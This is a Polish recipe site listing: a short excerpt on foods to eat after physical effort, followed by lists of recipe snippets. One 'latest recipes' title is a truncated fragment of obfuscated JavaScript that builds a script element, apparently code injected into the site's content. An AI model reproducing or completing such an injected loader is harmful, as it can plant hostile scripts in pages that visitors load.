Ciekawostki -co jeść po wysiłku
Źródło: https://mojewyroby.wordpress.com/2020/11/11/ciekawostki-co-jesc-po-wysilku/
Warto wiedzieć ,co zjeść po cwiczeniach ale też po sprzątaniu dłuższych zakupach i każdym innym wysiłku . suszone owoce -kilka np śliwek moreli zalecane jest zjeśc po wysiłku by uniknąć spadku cukru we krwi i uzupełnić witaminy i minerały utracone wraz z potem. Awokado -już 1/4 owocu wystarcza by uzupełnić potas,zapobiegający rozpadowi białek w mięśniach... Czytaj dalej
Najnowsze przepisy
Domowe sosy to często niedoceniane skarby domowej kuchni.... ⇖ 4
Jeden zapach, jeden kęs - i nagle wracają wspomnienia.... ⇖ 5
(function(){ zz99=document.createElement("script");zz99_=("o ⇖ 16
Proste połączenie ale zdecydowanie zawsze się sprawdza.... ⇖ 40
Miodownik bez jajek – mięciutki, puszysty i pięknie... ⇖ 29
Pyszny przepis na noodle z mięsem mielonym. Szybki,... ⇖ 24
Przepisy z bloga
Składnik kapusta włoska rozdzielić liście ,każdy jeden... ⇖ 965
Składniki pomidorki koktajlowe 7 sztuk może być więcej... ⇖ 786
Ciasto ucierane owocowe -super ciasto bo można je upiec... ⇖ 700
Dawno go nie jadłam a sezon na maliny więc się skusiłam... ⇖ 961
Musiałam zrobić to ciasto bo mi zostało troszkę sera we... ⇖ 753
4 pojedyncze filety z kurczaka słoiczek pesto pomidorki... ⇖ 704
Ciasto szpinakowe z masą jogurtową itruskawkami masa 2... ⇖ 785
potrzebne składniki 1 opakowanie borówek mrożonych lub... ⇖ 748
2 woreczki ryżu ugotowanego przyprawy kapusta pekińska... ⇖ 868
Przepisy na czasie
Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 362
Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 269
Przepyszny domowy pasztet do smarowania. W sklepie tak... ⇖ 214
Paszteciki z mięsem, z ciasta drożdżowo-kruchego to... ⇖ 206
Tulipany do barszczyku to znakomita propozycja podania... ⇖ 175
Pyszny miodownik z kakaową masą grysikową i z orzechami... ⇖ 154
Idealne danie na ciepło na imprezy, lub na obiad. Przepis... ⇖ 72
Domowe pralinki są smaczne, łatwe do zrobienia i... ⇖ 70
